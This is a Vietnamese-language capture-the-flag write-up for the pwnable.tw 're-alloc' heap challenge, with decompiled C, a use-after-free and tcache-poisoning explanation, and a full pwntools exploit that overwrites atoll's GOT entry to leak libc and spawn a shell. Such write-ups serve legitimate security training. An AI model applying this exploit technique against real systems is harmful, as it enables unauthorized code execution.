---
# System prepended metadata

title: '[Pwnable.tw] re-alloc (heap)'
tags: [' heap', writeup, ' pwntw']

---

---
title: '[Pwnable.tw] re-alloc (heap)'
tags: writeup, heap, pwntw
---
[toc]

## **SOURCE**
> libc phiên bản 2.29

![image](https://user-images.githubusercontent.com/87422359/168803965-0afbf62c-b41c-433f-b53d-a83c74c3e9bf.png)
![image](https://user-images.githubusercontent.com/87422359/168803790-38efeb3d-5486-424d-a497-615c07dd6b7a.png)

## **REVERSE**
> Đây là các hàm có liên quan
### Main
```c=
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  int v3; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v4; // [rsp+8h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  v3 = 0;
  init_proc(argc, argv, envp);
  while ( 1 )
  {
    while ( 1 )
    {
      menu();
      __isoc99_scanf("%d", &v3);
      if ( v3 != 2 )
        break;
      reallocate();
    }
    if ( v3 > 2 )
    {
      if ( v3 == 3 )
      {
        rfree();
      }
      else
      {
        if ( v3 == 4 )
          _exit(0);
LABEL_13:
        puts("Invalid Choice");
      }
    }
    else
    {
      if ( v3 != 1 )
        goto LABEL_13;
      allocate();
    }
  }
}
```
### Rfree
```c=
int rfree()
{
  _QWORD *v0; // rax
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  printf("Index:");
  v2 = read_long();
  if ( v2 > 1 )
  {
    LODWORD(v0) = puts("Invalid !");
  }
  else
  {
    realloc(heap[v2], 0LL);
    v0 = heap;
    heap[v2] = 0LL;
  }
  return v0;
}
```
### Realloc
```c=
int reallocate()
{
  unsigned __int64 idx; // [rsp+8h] [rbp-18h]
  unsigned __int64 size; // [rsp+10h] [rbp-10h]
  void *v3; // [rsp+18h] [rbp-8h]

  printf("Index:");
  idx = read_long();
  if ( idx > 1 || !heap[idx] )
    return puts("Invalid !");

  printf("Size:");
  size = read_long();
  if ( size > 120 )
    return puts("Too large!");

  v3 = realloc(heap[idx], size);
  if ( !v3 )
    return puts("alloc error");
  heap[idx] = v3;
  printf("Data:");
  return read_input(heap[idx], size);
}
```
### Allocate
```c=
int allocate()
{
  _BYTE *v0; // rax
  unsigned __int64 v2; // [rsp+0h] [rbp-20h]
  unsigned __int64 size; // [rsp+8h] [rbp-18h]
  void *ptr; // [rsp+18h] [rbp-8h]

  printf("Index:");
  v2 = read_long();
  if ( v2 > 1 || heap[v2] )
  {
    LODWORD(v0) = puts("Invalid !");
  }
  else
  {
    printf("Size:");
    size = read_long();
    if ( size <= 0x78 )
    {
      ptr = realloc(0LL, size);
      if ( ptr )
      {
        heap[v2] = ptr;
        printf("Data:");
        v0 = (heap[v2] + read_input(heap[v2], size));
        *v0 = 0;
      }
      else
      {
        LODWORD(v0) = puts("alloc error");
      }
    }
    else
    {
      LODWORD(v0) = puts("Too large!");
    }
  }
  return v0;
}
```
### read_long
```c
__int64 read_long()
{
  char nptr[24]; // [rsp+10h] [rbp-20h] BYREF
  unsigned __int64 v2; // [rsp+28h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  __read_chk(0LL, nptr, 16LL, 17LL);
  return atoll(nptr);
}
```
Hàm `allocate` dùng realloc thay cho malloc.
Cho phép lưu trữ tối đa 2 ptr.
Size < 120 (Tcache bin).
Check nếu ptr tồn tại thì không cho `allocate`.
`Rfree` sau khi free sẽ set ptr = 0.
## **VULN**
* Realloc với size = 0 thì tương đướng với free, không cần thông quan qua hàm `Rfree` nên ptr không bị set = 0.
* Realloc với size = size cũ thì không có tác động nào cả nhưng trong hàm `Reallocate` có đọc dữ liệu vào nên có thể ghi vào ptr bất kì.

Dùng UAF ghi lên freed chunk trong tcache với địa chỉ của mục tiêu (1), sau đó alloc 2 lần để lấy con trỏ trỏ với mục tiêu.

Chương trình chỉ cho phép lưu trữ 2 ptr và cần phải dùng 1 ptr thực hiện (1), nên để có thể alloc được 2 lần mà không đưa chunk vừa lấy vào bin cũ thì phải `reallocate` thay đổi size của nó rồi mới free.

## **APPROACH**
Libc 2.29 không check size, cũng không có safe link nên có thể trực tiếp tạo con trở tại bảng GOT => có thể đè `printf_plt` lên `atoll_got` để leak libc base.

Sau khi leak libc base thì ghi địa chỉ của system vào `atoll_got` là có thể lấy shell.
## **STEPS**
1. Tạo 2 con trỏ với `atoll_got` với tcache size 0x20 và 0x40.
2. Set 2 con trở về 0.
3. Dùng ptr idx 0 để ghi `printf_plt` vào `atoll_got`.
4. Leak libc base bằng format string.
5. Ghi địa chỉ của system vào `atoll_got`.
6. Lấy shell.
## **PAYLOAD**
```python=
# -- coding: utf-8 --
import re
from pwn import *

# ENV
PORT = 10106
HOST = "chall.pwnable.tw"
e = context.binary = ELF('./re-alloc_patched')
# lib = ELF('')
lib = e.libc
if len(sys.argv) > 1 and sys.argv[1] == 'r':
    r = remote(HOST, PORT)
else:
    r = e.process()


# VARIABLE
def alloc(idx, size, data):
    r.sendlineafter("choice:" ,"1") 
    r.sendlineafter("Index:", str(idx))
    r.sendlineafter("Size:", str(size))
    r.sendlineafter("Data:", data)

def alloc2(idx, size, data):
    r.sendlineafter("choice:" ,"1") 
    r.sendlineafter("Index:", str(idx))
    r.sendlineafter("Size:", str(size))
    r.sendafter("Data:", data)

def realloc2(idx, size, data):
    r.sendlineafter("choice:" ,"2") 
    r.sendlineafter("Index:", str(idx))
    r.sendlineafter("Size:", str(size))
    r.sendafter("Data:", data)
    
def realloc4(idx, data):
    r.sendlineafter("choice:" ,"2") 
    r.sendafter("Index:", '\n')
    r.sendlineafter("Size:", str(idx))
    r.sendafter("Data:", data)

def realloc3(idx):
    r.sendlineafter("choice:" ,"2") 
    r.sendlineafter("Index:", str(idx))
    r.sendlineafter("Size:","0")
    

def realloc(idx, size, data):
    r.sendlineafter("choice:" ,"2") 
    r.sendlineafter("Index:", str(idx))
    r.sendlineafter("Size:", str(size))
    r.sendlineafter("Data:", data)

def free(idx):
    r.sendlineafter("choice:" ,"3") 
    r.sendlineafter("Index:", str(idx))

# PAYLOAD
## STEP 1
alloc(0, 0x18, 'a)')
realloc3(0)
realloc2(0, 0x18, p64(e.got.atoll))

alloc(1, 0x18, 'a')
realloc(1, 0x28, 'a')
free(1)
realloc(0, 0x38, 'a')
free(0)

alloc(0, 0x48, 'a)')
realloc3(0)
realloc2(0, 0x48, p64(e.got.atoll))

alloc(1, 0x48, 'a')
## STEP 2
realloc(1, 0x58, 'a')
free(1)
realloc(0, 0x68, 'a')
free(0)

## STEP 3
alloc2(0, 0x48, p64(e.plt.printf))

## STEP 4
r.sendlineafter("Your choice:", "3")
r.sendlineafter("Index:", "%7$p")

leak = int(r.recvline().strip(), 16)
info("leak: 0x%x" % leak) 
base = leak - 0x1e5760
info("base: 0x%x" % base)
lib.address = base

## STEP 5
r.sendlineafter("choice:" ,"1") 
r.sendlineafter("Index:", '')
r.sendlineafter("Size:", 'asdfsdfsdfsdf')
r.sendafter("Data:", p64(lib.sym.system))

## STEP 6
r.sendlineafter("choice:" ,"1") 
r.sendlineafter("Index:", 'sh')


r.interactive()
```
![image](https://user-images.githubusercontent.com/87422359/168811603-f6de4ab4-09ba-4662-b754-ebb1f465c2b3.png)







